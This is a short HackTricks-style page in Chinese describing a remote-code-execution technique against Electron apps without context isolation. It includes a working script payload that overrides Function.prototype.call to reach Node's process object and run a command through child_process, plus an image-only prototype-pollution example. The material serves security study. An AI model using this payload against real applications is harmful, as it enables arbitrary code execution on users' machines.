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60 lines
1.9 KiB
Markdown
60 lines
1.9 KiB
Markdown
# Electron contextIsolation RCE via Electron internal code
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{{#include ../../../banners/hacktricks-training.md}}
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## 示例 1
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来自 [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
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"exit" 事件监听器在页面加载开始时始终由内部代码设置。此事件在导航之前发出：
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```javascript
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process.on("exit", function () {
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for (let p in cachedArchives) {
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if (!hasProp.call(cachedArchives, p)) continue
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cachedArchives[p].destroy()
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}
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})
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```
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{{#ref}}
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https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
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{{#endref}}
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.png>)
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https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- 不再存在
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然后它到这里：
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.png>)
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其中 "self" 是 Node 的进程对象：
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.png>)
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进程对象有对 "require" 函数的引用：
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```
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process.mainModule.require
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```
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由于handler.call将接收process对象，我们可以覆盖它以执行任意代码：
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```html
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<script>
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Function.prototype.call = function (process) {
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process.mainModule.require("child_process").execSync("calc")
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}
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location.reload() //Trigger the "exit" event
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</script>
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```
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## 示例 2
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获取 **来自原型污染的 require 对象**。来自 [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
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泄漏：
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<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
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利用：
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<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>
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{{#include ../../../banners/hacktricks-training.md}}
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